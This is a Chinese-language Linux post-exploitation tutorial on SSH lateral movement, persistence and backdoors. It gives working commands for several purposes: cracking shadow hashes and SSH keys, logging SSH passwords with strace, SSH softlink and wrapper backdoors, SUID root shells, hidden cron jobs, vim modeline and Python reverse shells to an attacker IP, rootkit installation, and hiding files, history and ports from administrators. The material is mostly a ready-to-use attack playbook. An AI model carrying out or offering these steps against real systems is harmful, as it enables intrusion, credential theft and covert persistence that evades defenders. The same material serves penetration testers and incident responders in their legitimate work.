https://github.com/k8gege/LadonGo
SSH横向
这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同。
SSH私钥泄露
不了解SSH私钥登录的可以看这篇文章
一般情况下SSH密钥存放在~/.ssh/
目录下:
id_rsa 为私钥,id_rsa.pub 为公钥
搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似.ssh目录下的搜索不到)
grep -ir "BEGIN DSA PRIVATE KEY" /home/* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN RSA PRIVATE KEY" /home/* grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:
/etc/hosts /etc/ssh/ssh_config ~/.known_hosts ~/.bash_history ~/.ssh/config
known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip、远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config
文件中的HashKnownHosts
字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config
文件,这取决于/etc/ssh/ssh_config
文件中的该字段。
修改
/etc/ssh/ssh_config
文件,
HashKnownHosts no
HashKnownHosts yes
通过密钥进行登录,
使用linux机器登录,用-i
指定密钥文件的路径
如果要在Windows上使用的话,例如putty:
使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。
载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。
今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。
破解SSH密钥
如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。
John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:
转换哈希: python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john 使用综合密码字典爆破: john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH密码爆破
SSH密码加密存储在/etc/shadow
文件中,可以使用john the raper
或者hashcat
等工具尝试爆破。
shadow文件介绍:
样例:
root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒号分隔: 1.第一个字段是用户名 2.第二字字段是加密的密码,如果是X 则代表不能登录系统 3.上次修改口令的时间 4.两次修改口令的最短间隔的天数 5.两次修改口令的最长的间隔天数 6.设置提前多少天告警用户口令将过期 7.口令过期后多少天禁止此用户 8.用户过期日期 9.保留字段 $6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 再来解释一下$分割的各个部分的含义: 密钥加密方式有5种: $1 表示MD5加密算法 $2 表示使用blowfish 加密算法 $5 表示 SHA-256加密算法 $6 表示SHA-512加密算法(如上) 其他 标准的DES qvhlqI7I:盐值 //0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 :hash值
John the rapper破解:
cp /etc/shadow shadow.txt //直接保存shadow文件 unshadow /etc/passwd /etc/shadow >shadow.txt //如果有unshadow的话,也可以把这两个文件整合 john --wordlist=pass.txt shadow.txt //利用字典进行破解 john --show shadow.txt //查看破解信息
hashcat破解(大字典推荐使用hashcat):
hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008
将/etc/shadow文件,提取密码字段保存hash.txt
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force -m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看; -a 是指定攻击模式,0代表Straight模式,使用字典进行破解尝试; -o 是破解出来的信息输出结果文件,输出到found.txt文件中; hash.txt 是我们上面保存的加密密码文件; pass.txt 是我们的爆破密码,越大越精越好; --force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
也可以使用hashcat hash --show
来显示结果
SSH Keylogger记录密码
利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。
//在当前用户的shell环境中定义一个别名 vi ~/.bashrc //在最后一行插入 alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh' //刷新当前的shell环境 source ~/.bashrc
设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。
设置完毕后,使用SSH登录其他机器:
然后,查看/tmp/.sshpwd-xxxxx
文件即可找到密码:
strace监听ssh来源流量
刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。
应用场景如:通过漏洞获取root权限,但是不知道明文密码。
ps -ef | grep sshd //父进程PID //运行 strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 //或者后台 运行 nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &
Linux权限维持
隐藏
0x01 隐藏文件
Linux 下创建一个隐藏文件:touch .test.txt
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图
一般的Linux下的隐藏目录使用命令ls -l
是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
linux中每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立...文件也是一个比较好的隐藏方法“
建立参数混淆拦截rm文件
echo 'test' > -- //创建--文件,需要用绝对路径才能读取和删除
rm -rf --
命令执行了,文件没删除,命令也没有报错,可以误导管理员。
想要删除的话,使用rm -rf '/root/--'
另外,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/
0x02 隐藏文件时间戳
Linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
利用方法
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2022年 02 月 01 日8时10分30秒。
touch -t 2202010810.30 webshell.php touch -t 2202010810.30 webshell.php -c //-t STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time //-c 不创建文件
0x03 隐藏权限
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件。
chattr +i evil.php #锁定文件 rm -rf evil.php #提示禁止删除 lsattr evil.php #属性查看 chattr -i evil.php #解除锁定 rm -rf evil.php #彻底删除文件
0x04 隐藏历史操作
无痕模式
拿到shell以后,开始无痕模式
,禁用命令历史记录功能。
[space]set +o history 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history 它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
删除指定历史命令
history显示内存和~/.bash_history中的所有内容;
内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell
删除单条命令:
history -d [num]
删除多条命令:
sed -i "100,$d" .bash_history //删除100行以后的操作命令
0x05 隐藏端口
通过端口复用来达到隐藏端口的目的。这里以隐藏SSH端口,通过SSH进行远程登录
为例。
方法1、通过SSLH让 HTTPS 和 SSH 共享同一个端口
详细方法参考:SSLH:让 HTTPS 和 SSH 共享同一个端口 - 知乎 (zhihu.com)
这里以kali为例简单演示:
下载SSLH:
sudo apt-get install sslh
配置SSLH:
sudo vi /etc/default/sslh 修改为: DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
启动SSLH:
$ sudo systemctl enable sslh $ sudo systemctl start sslh
测试,检查 SSLH 守护程序是否正在监听 443。
利用:
现在,你可以使用端口 443 通过 SSH 访问远程服务器:
方法2、利用IPTables进行端口复用
目标机器配置:
# 端口复用链 iptables -t nat -N LETMEIN # 端口复用规则 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 开启开关 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 关闭开关 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
攻击机运行:
#开启复用 echo threathuntercoming | socat - tcp:192.168.111.133:80 #ssh使用80端口进行登录 ssh -p 80 root@192.168.111.133 #关闭复用 echo threathunterleaving | socat - tcp:192.168.111.133:80
测试完毕后,在目标机删除iptables规则:
iptables -L -n --line-number //iptables -L -n --line-number iptables -D INPUT 3 //删除INPUT的第三条已添加规则,这里3代表第几行规则
0x06 隐藏进程
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
libprocesshider : https://github.com/gianlucaborello/libprocesshider
linux-inject: https://github.com/gaffe23/linux-inject
后门
SSH后门
SSH软连接
前提:
允许PAM认证(默认):
cat /etc/ssh/sshd_config
原理:
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆
利用:
可用的软连接名称:
find /etc/pam.d |xargs grep "pam_rootok"
上面su、chfn、chsh
等这几个名称都可以,下面以su
为例:
通过软连接建立后门:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4444
执行完之后,任何一台机器ssh root@IP -p 4444
,输入任意密码,成功登录:
优点:
能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。
删除软连接后门:
rm -rf 【软连接地址】
SSH Wrapper
原理:
init 首先启动的是 /usr/sbin/sshd ,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动 /usr/bin/sshd ,这是原始 sshd 。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的 /usr/sbin/sshd ,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字, getpeername 能真的获取到客户端的 TCP 源端口,如果是指定端口, 就执行sh给个shell。
利用:
目标机:
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd //4A是13377的小端模式 echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart
攻击机:
socat STDIO TCP4:target_ip:22,sourceport=13377 #如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。 >>> import struct >>> buffer = struct.pack('>I6',19526) >>> print repr(buffer) 'x00x00LF' >>> buffer = struct.pack('>I6',13377) >>> print buffer 4A
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
SSH公钥免密登录
这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,比如redis未授权写入公钥。
但是这个方法比如容易被发现
攻击机生成公私钥对:
ssh-keygen -t rsa
再把公钥id_rsa.pub发送到目标上,追到到authorized_keys
文件中:
echo id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
同时赋予权限,但是权限不能过大:
chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh
然后,ssh在开启密钥登录功能的前提下,攻击机即可免密登录。
添加用户、隐身登录
添加的用户很容易被发现,不常用。
一句话添加普通用户:
# 创建一个用户名guest,密码123456的普通用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest # useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句 useradd -p "$(openssl passwd -1 123456)" guest # chpasswd方法 useradd guest;echo 'guest:123456'|chpasswd # echo -e方法 useradd test;echo -e "123456n123456n" |passwd test
一句话添加root用户:
# 创建一个用户名guest,密码123456的root用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
隐身登录:
隐身登录系统,不会被last、who、w
等指令检测到
ssh -T username@host /bin/bash -i ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if
SUID后门
在介绍linux提权的时候,曾说过SUID
什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
创建一个suid权限的文件:
cp /bin/bash /tmp/.woot chmod u+s /tmp/.woot ls -al /tmp/.woot
使用普通用户运行就可获得root权限:
/tmp/.woot /tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,需要使用-p参数来获取一个root shell
Cron后门
在 ubuntu 中直接在计划任务中默认使用的是sh,指向的是 dash 而不是 bash ,所以执行反弹任务可能会失败,解决方案参考:https://cloud.tencent.com/developer/article/1683265
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。
cron表达式在线生成:https://www.bejson.com/othertools/cron/
crontab -e 设置定时任务
#每一分钟执行一次 */1 * * * * /bin/bash /root/test.sh 或者直接执行反弹shell */1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1"
test.sh:
#!/bin/bash bash -i >& /dev/tcp/192.168.111.253/8899 0>&1
chmod +sx test.sh
crontab -l 查看定时任务:
重启crond服务,service crond restart
,然后就可以用nc接收shell:
如上方式,管理员执行crontab -l
就能看到执行的命令内容不是特别隐蔽。
使用如下命令设置计划任务,crontab -l
执行后会显示"no crontab for root",就达到了一个简单的隐藏效果:
(printf "*/1 * * * * /bin/bash /root/test.sh;rno crontab for `whoami`%100cn")|crontab -
r导致显示截断,使得后面的内容逐个字符覆盖前面的字符;
100%c 的作用是格式化输出一个字符,前面99个空格补齐。
详细分析可以看这篇文章:https://cloud.tencent.com/developer/article/1683265
实际上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:
/var/spool/cron/crontabs/root
通常 cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到,这也是利用了cat的一个缺陷
cat默认使用是支持一些比如 r 回车符 n 换行符 f 换页符、也就是这些符号导致的能够隐藏命令。
VIM后门
vim modeline(CVE-2019-12735)
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。
vim默认关闭modeline。
受影响版本:Vim < 8.1.1365, Neovim < 0.3.6
使用:
首先在开启modeline:
vim ~/.vimrc set modeline
然后我们创建个文件测试一下:
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="' > test.txt
vim test.txt
可以看到成功执行了uname -a
命令
现在我们创建反弹shell的文件:
shell.txt
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.253 8888 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt=" or :!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i >& /dev/tcp/192.168.111.253/8888 0>&1 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="
vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统
vim --version
可以看到vim支持python3
构造一个反弹shell脚本
test.py
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.111.253",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
执行
vim -E -c "py3file test.py"
执行完之后命令行界面就会一片空白如下图所示,属正常现象,此时关闭命令行界面,也不会影响已经反弹回去的shell
接收到的shell:
此时可以看到可疑的 vim 连接
但是这样的后门太明显了,而且 vim -E -c “py3file test.py”
命令执行之后,还会有一个空白窗口。
我们需要隐藏一下:
从以下两点出发:
1、
(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) #将nohup的执行结果输出到/dev/null中 #其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。 #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
2、既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
因为我们最终的执行命令为:
(nohup vim -E -c "py3file test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py
PAM后门
PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。
利用脚本:
https://github.com/litsand/shell
inetd后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。
如果来自外部的某个socket是要执行一个可交互的shell (比如,我们已经在目标系统的inetd配置文件中事先定义好),这就相当于一个简易的bind型后门
安装:
apt-get install openbsd-inetd
利用:
#修改/etc/inetd.conf $vim /etc/inetd.conf #discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i # 当外部请求名为daytime的服务时就弹shell
#开启inetd $inetd
使用nc连接
nc -vv 192.168.111.132 13
进阶:
可以把daytime
换成其他服务,服务和端口的对应关系在/etc/services
文件查看,我们可以选择现有的,也可以自己添加一个:
然后修改/etc/inetd.conf
nc连接8881端口接口即可获得shell:
检测:
查看配置文件即可
cat /etc/inetd.conf
ICMP后门
利用ICMP中可控的data字段进行数据传输
项目地址:
https://github.com/andreafabrizi/prism
使用:
首先编译.c文件【具体要求可以看项目里的介绍】
Linux 64bit: apt-get install libc6-dev-amd64 gcc -DDETACH -m64 -Wall -s -o prism prism.c Linux 32bit: apt-get install libc6-dev-i386 gcc -DDETACH -m32 -Wall -s -o prism prism.c
运行:
./prism Inf0 ./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888 #192.168.111.132 is the victim machine running prism backdoor #p4ssw0rd is the key #192.168.111.253 is the attacker machine address #8888 is the attacker machine port
DNS后门
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中。
一些项目:
https://github.com/DamonMohammadbagher/NativePayload_DNS https://github.com/iagox86/dnscat2 http://code.kryo.se/iodine
进程注入
进程注入类后门一般都需要一个 ptrace 库,ptrace 库用来调试进程,基本 linux 系统都自带此库。
进程注入工具很多
https://github.com/gaffe23/linux-inject https://sourceforge.net/projects/cymothoa/files/ https://github.com/screetsec/Vegile
【false】Cymothoa
cymothoa 是一个后门工具,利用代码 shellcode 会被注入到进程中,只要进程存在,后门就会有效,所以一般选择一些自启服务的进程来注入,例如 web 服务 mysql,apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标 shell 后就可以使用 cymothoa 添加后门了。
使用:
下载,进入Cymothoa,运行
./cymothoa -S #列出可用的shellcode
这里我们就用序号 1 这个 payload,通过端口来反向 shell。使用 -p
参数,用来指定需要注入的进程的 pid, - s
,用来指定使用 shellcode 的序号,-y
用来指定反向 shell 的端口,即别人连接自己时需要连接的端口。运行后当出现 infected 即感染的意思则代表后门注入成功。
没成功,先没管了。。。
Vegile
Vegile是一个用来隐藏自己的进程的工具,即使进程被杀,又会重新启动。总会有一个进程会运行另一个进程,所以我们可以假设这个进程是不可阻挡的。
attack机器
先生成个后门:
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "x00" -f elf -o NAME_BACKDOOR
使用任意一种方式传到victim机器。
使用msf监听:
victim机器
git clone https://github.com/Screetsec/Vegile.git cd Vegile chmod +x Vegile
-i
是进程注入的方式
-u
是进程被杀还可以继续反弹shell
运行
./Vegile --i test
--u
也类似,就不演示了。
Tiny shell
Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小,通信加密,分为客户端和服务端,支持正向连接和反弹连接模式
https://github.com/orangetw/tsh
使用:
- 正向:
首先打开tsh.h
设置密码(用户加密客户端与服务端的通信数据);
修改SERVER_PORT值(后门运行后监听的端口);
修改FAKE_PROC_NAME值(用于伪装显示后门运行后的进程名字);
注释掉CONNECT_BACK*
两行代码(这两行代码用户反向模式);
这里因为演示就简单改一下,修改后如下所示:
编译:
make linux #支持多种系统 linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
编译完成后生成tsh(客户端)、tshd(服务端)两个文件:
服务端执行:
umask 077; HOME=/var/tmp ./tshd ./tshd
客户端:(除了获取shell之外,还可以执行单条命令、传输文件)
./tsh 192.168.111.132 #./tsh victim_ip
注: 服务端运行后,其父进程PID是1,也就是说这个进程是守护进程除非重启系统,或者手动关闭,否则一直存在(当然你也可以加入启动项,或者加入任务计划中)
- 反向:
编译前的准备工作和 编译正向模式类似,不过 需要将CONNECT_BACK*
两行去掉注释,即去掉//,并将ip改为客户端的ip,延时也可适当修改:
编译:
make linux
服务端运行
umask 077; HOME=/var/tmp ./tshd ./tshd
客户端运行:
./tsh cb #cb表示反向模式
注:这里只是简单演示,在实际使用中还可以进行各种欺骗性伪装,改进程名、移到欺骗性目录等等。
自启动
chmod +x /etc/rc.d/rc.local vi /etc/rc.d/rc.local
在此文件中添加需要开机执行的脚本的绝对路径,如
/usr/local/shell/crontab.sh
保存退出,即可生效。
设置定时任务后,系统重启后会自动定时执行,不需要再设置开机自启,如果发现有中断的情况,考虑crond服务的启动情况。
Rootkit
rootkit是攻击者向计算机系统中植入的,能够隐藏自身踪迹并保留root权限的恶意程序。rootkit基于攻击者已经拿到root权限之后对系统进行破坏。rootkit会尽可能通过隐藏文件、进程、模块、进程等信息避免被监控程序检测。
这个项目列出了很多好用的rootkit,感兴趣的可以去看看。
这里只演示一下Reptile的使用。
Reptile 是种 LKM(Loadable Kernel Modules) rootkit,因此具有很好的隐藏性和强大的功能。
安装:
apt-get install vim gcc make g++ unzip -y apt-get -y install linux-headers-$(uname -r) git clone https://github.com/f0rb1dd3n/Reptile.git ./setup.sh install #全自动化安装,安装后也会全自动删除,要注意需要交互式shell
安装过程会有如下选项:
Hide name (will be used to hide dirs/files) (default: reptile): 会被隐藏的文件或文件名
Auth token to magic packets (default: hax0r):连接后门时的认证
tokenBackdoor password (default: s3cr3t):后门密码
Tag name that hide file contents (default: reptile):标签名,在该标签中的内容都会被隐藏
Source port of magic packets (default: 666): 源端口默认即可
Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段时间弹 shell ,这个功能很强,隐藏+开机自启动,如果对方防范意识不高,可以使用这个。
Reverse IP : 控制端ip
Reverse Port: 控制端端口
would you like to config reverse shell each x time(default:1800) :您希望每隔x时间回连一次
安装成功,并且可以删除本地文件夹:
看看rootkit效果:
隐藏目录:
名称中包含的所有文件和文件夹都reptile将被隐藏。您可以在安装之前进行配置。 以下命令隐藏/取消隐藏文件、文件夹、进程和内核模块本身: 隐藏:/reptile/reptile_cmd hide 取消隐藏:/reptile/reptile_cmd show
隐藏进程:
隐藏进程:/reptile/reptile_cmd hide <pid> 取消隐藏进程:/reptile/reptile_cmd show <pid>
隐藏TCP/UDP连接:
隐藏:/reptile/reptile_cmd conn <IP> hide 取消隐藏:/reptile/reptile_cmd conn <IP> show 注意:默认情况下,TCP 和 UDP 隐藏功能隐藏到 IP 的所有连接
控制端:
安装:
#首先安装依赖 apt install libreadline-dev #Debian yum install readline-devel #RHEL 安装执行 ./setup client
进入bin目录,执行./client
即可启动
这个后门的运作逻辑是用任意机器(一般都是控制机)的特定端口(配置目标机器的时候666那个srcport参数)给目标 任意端口发送一段数据。然后目标机器接受到这个数据,再按照配置的里面回连。
控制端根据受控端的配置,进行设置:
设置完之后,执行run
,等待一会就会收到目标机器的连接,进入控制界面
目标重启之后仍然可以接收到后门。
更多使用,参考官方wiki
Linux痕迹清理
在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉。
Linux痕迹清理方法见
https://www.cnblogs.com/yokan/p/15701536.html
参考
https://www.freebuf.com/articles/network/257603.html
https://websec.readthedocs.io/zh/latest/intranet/linux/index.html
https://baiker.top/0839a9742351
https://xz.aliyun.com/t/100
https://www.ddosi.org/ssh-movement/
https://xz.aliyun.com/t/7338
https://www.cnblogs.com/-mo-/p/12337766.html
第3篇:Linux权限维持--隐藏篇 · 应急响应实战笔记 (bypass007.github.io)
f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. (github.com)
https://www.sohu.com/a/153754894_354899
https://blog.csdn.net/fageweiketang/article/details/86665518
https://www.hacking8.com/MiscSecNotes/rookit.html